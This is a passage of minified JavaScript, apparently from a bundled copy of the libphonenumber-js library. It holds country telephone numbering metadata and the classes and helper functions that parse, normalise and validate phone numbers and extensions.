$4\",[\"8\"]]]],WS:[\"685\",\"0\",\"(?:[2-6]|8\\\\d{5})\\\\d{4}|[78]\\\\d{6}|[68]\\\\d{5}\",[5,6,7,10],[[\"(\\\\d{5})\",\"$1\",[\"[2-5]|6[1-9]\"]],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1 $2\",[\"[68]\"]],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7\"]]]],XK:[\"383\",\"00\",\"[23]\\\\d{7,8}|(?:4\\\\d\\\\d|[89]00)\\\\d{5}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-4]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[23]\"],\"0$1\"]],\"0\"],YE:[\"967\",\"00\",\"(?:1|7\\\\d)\\\\d{7}|[1-7]\\\\d{6}\",[7,8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-6]|7(?:[24-6]|8[0-7])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],YT:[\"262\",\"00\",\"(?:80|9\\\\d)\\\\d{7}|(?:26|63)9\\\\d{6}\",[9],0,\"0\",0,0,0,0,0,[[\"269(?:0[0-467]|5[0-4]|6\\\\d|[78]0)\\\\d{4}\"],[\"639(?:0[0-79]|1[019]|[267]\\\\d|3[09]|40|5[05-9]|9[04-79])\\\\d{4}\"],[\"80\\\\d{7}\"],0,0,0,0,0,[\"9(?:(?:39|47)8[01]|769\\\\d)\\\\d{4}\"]]],ZA:[\"27\",\"00\",\"[1-79]\\\\d{8}|8\\\\d{4,9}\",[5,6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1 $2\",[\"8[1-4]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"8[1-4]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"860\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],ZM:[\"260\",\"00\",\"800\\\\d{6}|(?:21|63|[79]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[28]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"[79]\"],\"0$1\"]],\"0\"],ZW:[\"263\",\"00\",\"2(?:[0-57-9]\\\\d{6,8}|6[0-24-9]\\\\d{6,7})|[38]\\\\d{9}|[35-8]\\\\d{8}|[3-6]\\\\d{7}|[1-689]\\\\d{6}|[1-3569]\\\\d{5}|[1356]\\\\d{4}\",[5,6,7,8,9,10],[[\"(\\\\d{3})(\\\\d{3,5})\",\"$1 $2\",[\"2(?:0[45]|2[278]|[49]8)|3(?:[09]8|17)|6(?:[29]8|37|75)|[23][78]|(?:33|5[15]|6[68])[78]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"[49]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"80\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"24|8[13-59]|(?:2[05-79]|39|5[45]|6[15-8])2\",\"2(?:02[014]|4|[56]20|[79]2)|392|5(?:42|525)|6(?:[16-8]21|52[013])|8[13-59]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2(?:1[39]|2[0157]|[378]|[56][14])|3(?:12|29)\",\"2(?:1[39]|2[0157]|[378]|[56][14])|3(?:123|29)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,5})\",\"$1 $2\",[\"1|2(?:0[0-36-9]|12|29|[56])|3(?:1[0-689]|[24-6])|5(?:[0236-9]|1[2-4])|6(?:[013-59]|7[0-46-9])|(?:33|55|6[68])[0-69]|(?:29|3[09]|62)[0-79]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"29[013-9]|39|54\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,5})\",\"$1 $2\",[\"(?:25|54)8\",\"258|5483\"],\"0$1\"]],\"0\"]},nonGeographic:{800:[\"800\",0,\"(?:00|[1-9]\\\\d)\\\\d{6}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"\\\\d\"]]],0,0,0,0,0,0,[0,0,[\"(?:00|[1-9]\\\\d)\\\\d{6}\"]]],808:[\"808\",0,\"[1-9]\\\\d{7}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[1-9]\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,0,[\"[1-9]\\\\d{7}\"]]],870:[\"870\",0,\"7\\\\d{11}|[35-7]\\\\d{8}\",[9,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[35-7]\"]]],0,0,0,0,0,0,[0,[\"(?:[356]|774[45])\\\\d{8}|7[6-8]\\\\d{7}\"]]],878:[\"878\",0,\"10\\\\d{10}\",[12],[[\"(\\\\d{2})(\\\\d{5})(\\\\d{5})\",\"$1 $2 $3\",[\"1\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,[\"10\\\\d{10}\"]]],881:[\"881\",0,\"6\\\\d{9}|[0-36-9]\\\\d{8}\",[9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\",[\"[0-37-9]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{5,6})\",\"$1 $2 $3\",[\"6\"]]],0,0,0,0,0,0,[0,[\"6\\\\d{9}|[0-36-9]\\\\d{8}\"]]],882:[\"882\",0,\"[13]\\\\d{6}(?:\\\\d{2,5})?|[19]\\\\d{7}|(?:[25]\\\\d\\\\d|4)\\\\d{7}(?:\\\\d{2})?\",[7,8,9,10,11,12],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"16|342\"]],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"49\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"1[36]|9\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"3[23]\"]],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"16\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"10|23|3(?:[15]|4[57])|4|51\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"34\"]],[\"(\\\\d{2})(\\\\d{4,5})(\\\\d{5})\",\"$1 $2 $3\",[\"[1-35]\"]]],0,0,0,0,0,0,[0,[\"342\\\\d{4}|(?:337|49)\\\\d{6}|(?:3(?:2|47|7\\\\d{3})|50\\\\d{3})\\\\d{7}\",[7,8,9,10,12]],0,0,0,0,0,0,[\"1(?:3(?:0[0347]|[13][0139]|2[035]|4[013568]|6[0459]|7[06]|8[15-8]|9[0689])\\\\d{4}|6\\\\d{5,10})|(?:345\\\\d|9[89])\\\\d{6}|(?:10|2(?:3|85\\\\d)|3(?:[15]|[69]\\\\d\\\\d)|4[15-8]|51)\\\\d{8}\"]]],883:[\"883\",0,\"(?:[1-4]\\\\d|51)\\\\d{6,10}\",[8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,8})\",\"$1 $2 $3\",[\"[14]|2[24-689]|3[02-689]|51[24-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"510\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"21\"]],[\"(\\\\d{4})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"51[13]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[235]\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,[\"(?:2(?:00\\\\d\\\\d|10)|(?:370[1-9]|51\\\\d0)\\\\d)\\\\d{7}|51(?:00\\\\d{5}|[24-9]0\\\\d{4,7})|(?:1[0-79]|2[24-689]|3[02-689]|4[0-4])0\\\\d{5,9}\"]]],888:[\"888\",0,\"\\\\d{11}\",[11],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\"]],0,0,0,0,0,0,[0,0,0,0,0,0,[\"\\\\d{11}\"]]],979:[\"979\",0,\"[1359]\\\\d{8}\",[9],[[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[1359]\"]]],0,0,0,0,0,0,[0,0,0,[\"[1359]\\\\d{8}\"]]]}};function h(e,t){var n=Array.prototype.slice.call(t);return n.push(p),e.apply(this,n)}function v(e){return v=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},v(e)}function m(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function g(e,t,n){return t&&m(e.prototype,t),n&&m(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}function y(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function b(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function\");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,\"prototype\",{writable:!1}),t&&E(e,t)}function $(e){var t=x();return function(){var n,r=T(e);if(t){var a=T(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return w(this,n)}}function w(e,t){if(t&&(\"object\"===v(t)||\"function\"==typeof t))return t;if(void 0!==t)throw new TypeError(\"Derived constructors may only return object or undefined\");return _(e)}function _(e){if(void 0===e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return e}function k(e){var t=\"function\"==typeof Map?new Map:void 0;return k=function(e){if(null===e||!S(e))return e;if(\"function\"!=typeof e)throw new TypeError(\"Super expression must either be null or a function\");if(typeof t\u003C\"u\"){if(t.has(e))return t.get(e);t.set(e,n)}function n(){return C(e,arguments,T(this).constructor)}return n.prototype=Object.create(e.prototype,{constructor:{value:n,enumerable:!1,writable:!0,configurable:!0}}),E(n,e)},k(e)}function C(e,t,n){return C=x()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var a=Function.bind.apply(e,r),o=new a;return n&&E(o,n.prototype),o},C.apply(null,arguments)}function x(){if(typeof Reflect>\"u\"||!Reflect.construct||Reflect.construct.sham)return!1;if(\"function\"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function S(e){return-1!==Function.toString.call(e).indexOf(\"[native code]\")}function E(e,t){return E=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},E(e,t)}function T(e){return T=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},T(e)}var R=function(e){b(n,e);var t=$(n);function n(e){var r;return y(this,n),r=t.call(this,e),Object.setPrototypeOf(_(r),n.prototype),r.name=r.constructor.name,r}return g(n)}(k(Error)),O=2,M=17,A=3,D=\"0-9０-９٠-٩۰-۹\",W=\"-‐-―−ー－\",B=\"／\u002F\",P=\"．.\",I=\"  ­​⁠　\",N=\"()（）［］\\\\[\\\\]\",L=\"~⁓∼～\",j=\"\".concat(W).concat(B).concat(P).concat(I).concat(N).concat(L),F=\"+＋\";function V(e,t){e=e.split(\"-\"),t=t.split(\"-\");for(var n=e[0].split(\".\"),r=t[0].split(\".\"),a=0;a\u003C3;a++){var o=Number(n[a]),i=Number(r[a]);if(o>i)return 1;if(i>o)return-1;if(!isNaN(o)&&isNaN(i))return 1;if(isNaN(o)&&!isNaN(i))return-1}return e[1]&&t[1]?e[1]>t[1]?1:e[1]\u003Ct[1]?-1:0:!e[1]&&t[1]?1:e[1]&&!t[1]?-1:0}var U={}.constructor;function X(e){return null!=e&&e.constructor===U}function H(e){return H=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},H(e)}function G(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function Y(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function z(e,t,n){return t&&Y(e.prototype,t),n&&Y(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}var K=\"1.2.0\",q=\"1.7.35\",Q=\" ext. \",Z=\u002F^\\d+$\u002F,J=function(){function e(t){G(this,e),oe(t),this.metadata=t,ue.call(this,t)}return z(e,[{key:\"getCountries\",value:function(){return Object.keys(this.metadata.countries).filter(function(e){return\"001\"!==e})}},{key:\"getCountryMetadata\",value:function(e){return this.metadata.countries[e]}},{key:\"nonGeographic\",value:function(){if(!(this.v1||this.v2||this.v3))return this.metadata.nonGeographic||this.metadata.nonGeographical}},{key:\"hasCountry\",value:function(e){return void 0!==this.getCountryMetadata(e)}},{key:\"hasCallingCode\",value:function(e){if(this.getCountryCodesForCallingCode(e))return!0;if(this.nonGeographic()){if(this.nonGeographic()[e])return!0}else{var t=this.countryCallingCodes()[e];if(t&&1===t.length&&\"001\"===t[0])return!0}}},{key:\"isNonGeographicCallingCode\",value:function(e){return this.nonGeographic()?!!this.nonGeographic()[e]:!this.getCountryCodesForCallingCode(e)}},{key:\"country\",value:function(e){return this.selectNumberingPlan(e)}},{key:\"selectNumberingPlan\",value:function(e,t){if(e&&Z.test(e)&&(t=e,e=null),e&&\"001\"!==e){if(!this.hasCountry(e))throw new Error(\"Unknown country: \".concat(e));this.numberingPlan=new ee(this.getCountryMetadata(e),this)}else if(t){if(!this.hasCallingCode(t))throw new Error(\"Unknown calling code: \".concat(t));this.numberingPlan=new ee(this.getNumberingPlanMetadata(t),this)}else this.numberingPlan=void 0;return this}},{key:\"getCountryCodesForCallingCode\",value:function(e){var t=this.countryCallingCodes()[e];if(t)return 1===t.length&&3===t[0].length?void 0:t}},{key:\"getCountryCodeForCallingCode\",value:function(e){var t=this.getCountryCodesForCallingCode(e);if(t)return t[0]}},{key:\"getNumberingPlanMetadata\",value:function(e){var t=this.getCountryCodeForCallingCode(e);if(t)return this.getCountryMetadata(t);if(this.nonGeographic()){var n=this.nonGeographic()[e];if(n)return n}else{var r=this.countryCallingCodes()[e];if(r&&1===r.length&&\"001\"===r[0])return this.metadata.countries[\"001\"]}}},{key:\"countryCallingCode\",value:function(){return this.numberingPlan.callingCode()}},{key:\"IDDPrefix\",value:function(){return this.numberingPlan.IDDPrefix()}},{key:\"defaultIDDPrefix\",value:function(){return this.numberingPlan.defaultIDDPrefix()}},{key:\"nationalNumberPattern\",value:function(){return this.numberingPlan.nationalNumberPattern()}},{key:\"possibleLengths\",value:function(){return this.numberingPlan.possibleLengths()}},{key:\"formats\",value:function(){return this.numberingPlan.formats()}},{key:\"nationalPrefixForParsing\",value:function(){return this.numberingPlan.nationalPrefixForParsing()}},{key:\"nationalPrefixTransformRule\",value:function(){return this.numberingPlan.nationalPrefixTransformRule()}},{key:\"leadingDigits\",value:function(){return this.numberingPlan.leadingDigits()}},{key:\"hasTypes\",value:function(){return this.numberingPlan.hasTypes()}},{key:\"type\",value:function(e){return this.numberingPlan.type(e)}},{key:\"ext\",value:function(){return this.numberingPlan.ext()}},{key:\"countryCallingCodes\",value:function(){return this.v1?this.metadata.country_phone_code_to_countries:this.metadata.country_calling_codes}},{key:\"chooseCountryByCountryCallingCode\",value:function(e){return this.selectNumberingPlan(e)}},{key:\"hasSelectedNumberingPlan\",value:function(){return void 0!==this.numberingPlan}}]),e}(),ee=function(){function e(t,n){G(this,e),this.globalMetadataObject=n,this.metadata=t,ue.call(this,n.metadata)}return z(e,[{key:\"callingCode\",value:function(){return this.metadata[0]}},{key:\"getDefaultCountryMetadataForRegion\",value:function(){return this.globalMetadataObject.getNumberingPlanMetadata(this.callingCode())}},{key:\"IDDPrefix\",value:function(){if(!this.v1&&!this.v2)return this.metadata[1]}},{key:\"defaultIDDPrefix\",value:function(){if(!this.v1&&!this.v2)return this.metadata[12]}},{key:\"nationalNumberPattern\",value:function(){return this.v1||this.v2?this.metadata[1]:this.metadata[2]}},{key:\"possibleLengths\",value:function(){if(!this.v1)return this.metadata[this.v2?2:3]}},{key:\"_getFormats\",value:function(e){return e[this.v1?2:this.v2?3:4]}},{key:\"formats\",value:function(){var e=this,t=this._getFormats(this.metadata)||this._getFormats(this.getDefaultCountryMetadataForRegion())||[];return t.map(function(t){return new te(t,e)})}},{key:\"nationalPrefix\",value:function(){return this.metadata[this.v1?3:this.v2?4:5]}},{key:\"_getNationalPrefixFormattingRule\",value:function(e){return e[this.v1?4:this.v2?5:6]}},{key:\"nationalPrefixFormattingRule\",value:function(){return this._getNationalPrefixFormattingRule(this.metadata)||this._getNationalPrefixFormattingRule(this.getDefaultCountryMetadataForRegion())}},{key:\"_nationalPrefixForParsing\",value:function(){return this.metadata[this.v1?5:this.v2?6:7]}},{key:\"nationalPrefixForParsing\",value:function(){return this._nationalPrefixForParsing()||this.nationalPrefix()}},{key:\"nationalPrefixTransformRule\",value:function(){return this.metadata[this.v1?6:this.v2?7:8]}},{key:\"_getNationalPrefixIsOptionalWhenFormatting\",value:function(){return!!this.metadata[this.v1?7:this.v2?8:9]}},{key:\"nationalPrefixIsOptionalWhenFormattingInNationalFormat\",value:function(){return this._getNationalPrefixIsOptionalWhenFormatting(this.metadata)||this._getNationalPrefixIsOptionalWhenFormatting(this.getDefaultCountryMetadataForRegion())}},{key:\"leadingDigits\",value:function(){return this.metadata[this.v1?8:this.v2?9:10]}},{key:\"types\",value:function(){return this.metadata[this.v1?9:this.v2?10:11]}},{key:\"hasTypes\",value:function(){return(!this.types()||0!==this.types().length)&&!!this.types()}},{key:\"type\",value:function(e){if(this.hasTypes()&&ae(this.types(),e))return new re(ae(this.types(),e),this)}},{key:\"ext\",value:function(){return this.v1||this.v2?Q:this.metadata[13]||Q}}]),e}(),te=function(){function e(t,n){G(this,e),this._format=t,this.metadata=n}return z(e,[{key:\"pattern\",value:function(){return this._format[0]}},{key:\"format\",value:function(){return this._format[1]}},{key:\"leadingDigitsPatterns\",value:function(){return this._format[2]||[]}},{key:\"nationalPrefixFormattingRule\",value:function(){return this._format[3]||this.metadata.nationalPrefixFormattingRule()}},{key:\"nationalPrefixIsOptionalWhenFormattingInNationalFormat\",value:function(){return!!this._format[4]||this.metadata.nationalPrefixIsOptionalWhenFormattingInNationalFormat()}},{key:\"nationalPrefixIsMandatoryWhenFormattingInNationalFormat\",value:function(){return this.usesNationalPrefix()&&!this.nationalPrefixIsOptionalWhenFormattingInNationalFormat()}},{key:\"usesNationalPrefix\",value:function(){return!(!this.nationalPrefixFormattingRule()||ne.test(this.nationalPrefixFormattingRule()))}},{key:\"internationalFormat\",value:function(){return this._format[5]||this.format()}}]),e}(),ne=\u002F^\\(?\\$1\\)?$\u002F,re=function(){function e(t,n){G(this,e),this.type=t,this.metadata=n}return z(e,[{key:\"pattern\",value:function(){return this.metadata.v1?this.type:this.type[0]}},{key:\"possibleLengths\",value:function(){if(!this.metadata.v1)return this.type[1]||this.metadata.possibleLengths()}}]),e}();function ae(e,t){switch(t){case\"FIXED_LINE\":return e[0];case\"MOBILE\":return e[1];case\"TOLL_FREE\":return e[2];case\"PREMIUM_RATE\":return e[3];case\"PERSONAL_NUMBER\":return e[4];case\"VOICEMAIL\":return e[5];case\"UAN\":return e[6];case\"PAGER\":return e[7];case\"VOIP\":return e[8];case\"SHARED_COST\":return e[9]}}function oe(e){if(!e)throw new Error(\"[libphonenumber-js] `metadata` argument not passed. Check your arguments.\");if(!X(e)||!X(e.countries))throw new Error(\"[libphonenumber-js] `metadata` argument was passed but it's not a valid metadata. Must be an object having `.countries` child object property. Got \".concat(X(e)?\"an object of shape: { \"+Object.keys(e).join(\", \")+\" }\":\"a \"+ie(e)+\": \"+e,\".\"))}var ie=function(e){return H(e)};function le(e,t){if(t=new J(t),t.hasCountry(e))return t.country(e).countryCallingCode();throw new Error(\"Unknown country: \".concat(e))}function se(e,t){return t.countries.hasOwnProperty(e)}function ue(e){var t=e.version;\"number\"==typeof t?(this.v1=1===t,this.v2=2===t,this.v3=3===t,this.v4=4===t):t?-1===V(t,K)?this.v2=!0:-1===V(t,q)?this.v3=!0:this.v4=!0:this.v1=!0}var de=\";ext=\",ce=function(e){return\"([\".concat(D,\"]{1,\").concat(e,\"})\")};function fe(e){var t=\"20\",n=\"15\",r=\"9\",a=\"6\",o=\"[  \\\\t,]*\",i=\"[:\\\\.．]?[  \\\\t,-]*\",l=\"#?\",s=\"(?:e?xt(?:ensi(?:ó?|ó))?n?|ｅ?ｘｔｎ?|доб|anexo)\",u=\"(?:[xｘ#＃~～]|int|ｉｎｔ)\",d=\"[- ]+\",c=\"[  \\\\t]*\",f=\"(?:,{2}|;)\",p=de+ce(t),h=o+s+i+ce(t)+l,v=o+u+i+ce(r)+l,m=d+ce(a)+\"#\",g=c+f+i+ce(n)+l,y=c+\"(?:,)+\"+i+ce(r)+l;return p+\"|\"+h+\"|\"+v+\"|\"+m+\"|\"+g+\"|\"+y}var pe=\"[\"+D+\"]{\"+O+\"}\",he=\"[\"+F+\"]{0,1}(?:[\"+j+\"]*[\"+D+\"]){3,}[\"+j+D+\"]*\",ve=new RegExp(\"^[\"+F+\"]{0,1}(?:[\"+j+\"]*[\"+D+\"]){1,2}$\",\"i\"),me=he+\"(?:\"+fe()+\")?\",ge=new RegExp(\"^\"+pe+\"$|^\"+me+\"$\",\"i\");function ye(e){return e.length>=O&&ge.test(e)}function be(e){return ve.test(e)}var $e=new RegExp(\"(?:\"+fe()+\")$\",\"i\");function we(e){var t=e.search($e);if(t\u003C0)return{};for(var n=e.slice(0,t),r=e.match($e),a=1;a\u003Cr.length;){if(r[a])return{number:n,ext:r[a]};a++}}var _e={0:\"0\",1:\"1\",2:\"2\",3:\"3\",4:\"4\",5:\"5\",6:\"6\",7:\"7\",8:\"8\",9:\"9\",\"０\":\"0\",\"１\":\"1\",\"２\":\"2\",\"３\":\"3\",\"４\":\"4\",\"５\":\"5\",\"６\":\"6\",\"７\":\"7\",\"８\":\"8\",\"９\":\"9\",\"٠\":\"0\",\"١\":\"1\",\"٢\":\"2\",\"٣\":\"3\",\"٤\":\"4\",\"٥\":\"5\",\"٦\":\"6\",\"٧\":\"7\",\"٨\":\"8\",\"٩\":\"9\",\"۰\":\"0\",\"۱\":\"1\",\"۲\":\"2\",\"۳\":\"3\",\"۴\":\"4\",\"۵\":\"5\",\"۶\":\"6\",\"۷\":\"7\",\"۸\":\"8\",\"۹\":\"9\"};function ke(e){return _e[e]}function Ce(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=xe(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function xe(e,t){if(e){if(\"string\"==typeof e)return Se(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Se(e,t)}}function Se(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Ee(e){for(var t,n=\"\",r=Ce(e.split(\"\"));!(t=r()).done;){var a=t.value;n+=Te(a,n)||\"\"}return n}function Te(e,t){return\"+\"===e?t?void 0:\"+\":ke(e)}function Re(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Oe(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Oe(e,t){if(e){if(\"string\"==typeof e)return Me(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Me(e,t)}}function Me(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Ae(e,t){for(var n,r=e.slice(),a=Re(t);!(n=a()).done;){var o=n.value;e.indexOf(o)\u003C0&&r.push(o)}return r.sort(function(e,t){return e-t})}function De(e,t){return We(e,void 0,t)}function We(e,t,n){var r=n.type(t),a=r&&r.possibleLengths()||n.possibleLengths();if(!a)return\"IS_POSSIBLE\";if(\"FIXED_LINE_OR_MOBILE\"===t){if(!n.type(\"FIXED_LINE\"))return We(e,\"MOBILE\",n);var o=n.type(\"MOBILE\");o&&(a=Ae(a,o.possibleLengths()))}else if(t&&!r)return\"INVALID_LENGTH\";var i=e.length,l=a[0];return l===i?\"IS_POSSIBLE\":l>i?\"TOO_SHORT\":a[a.length-1]\u003Ci?\"TOO_LONG\":a.indexOf(i,1)>=0?\"IS_POSSIBLE\":\"INVALID_LENGTH\"}function Be(e,t,n){if(void 0===t&&(t={}),n=new J(n),t.v2){if(!e.countryCallingCode)throw new Error(\"Invalid phone number object passed\");n.selectNumberingPlan(e.countryCallingCode)}else{if(!e.phone)return!1;if(e.country){if(!n.hasCountry(e.country))throw new Error(\"Unknown country: \".concat(e.country));n.country(e.country)}else{if(!e.countryCallingCode)throw new Error(\"Invalid phone number object passed\");n.selectNumberingPlan(e.countryCallingCode)}}if(n.possibleLengths())return Pe(e.phone||e.nationalNumber,n);if(e.countryCallingCode&&n.isNonGeographicCallingCode(e.countryCallingCode))return!0;throw new Error('Missing \"possibleLengths\" in metadata. Perhaps the metadata has been generated before v1.0.18.')}function Pe(e,t){switch(De(e,t)){case\"IS_POSSIBLE\":return!0;default:return!1}}function Ie(e,t){return e=e||\"\",new RegExp(\"^(?:\"+t+\")$\").test(e)}function Ne(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Le(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Le(e,t){if(e){if(\"string\"==typeof e)return je(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return je(e,t)}}function je(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}var Fe=[\"MOBILE\",\"PREMIUM_RATE\",\"TOLL_FREE\",\"SHARED_COST\",\"VOIP\",\"PERSONAL_NUMBER\",\"PAGER\",\"UAN\",\"VOICEMAIL\"];function Ve(e,t,n){if(t=t||{},e.country||e.countryCallingCode){n=new J(n),n.selectNumberingPlan(e.country,e.countryCallingCode);var r=t.v2?e.nationalNumber:e.phone;if(Ie(r,n.nationalNumberPattern())){if(Ue(r,\"FIXED_LINE\",n))return n.type(\"MOBILE\")&&\"\"===n.type(\"MOBILE\").pattern()||!n.type(\"MOBILE\")||Ue(r,\"MOBILE\",n)?\"FIXED_LINE_OR_MOBILE\":\"FIXED_LINE\";for(var a,o=Ne(Fe);!(a=o()).done;){var i=a.value;if(Ue(r,i,n))return i}}}}function Ue(e,t,n){return t=n.type(t),!(!t||!t.pattern()||t.possibleLengths()&&t.possibleLengths().indexOf(e.length)\u003C0)&&Ie(e,t.pattern())}function Xe(e,t,n){if(t=t||{},n=new 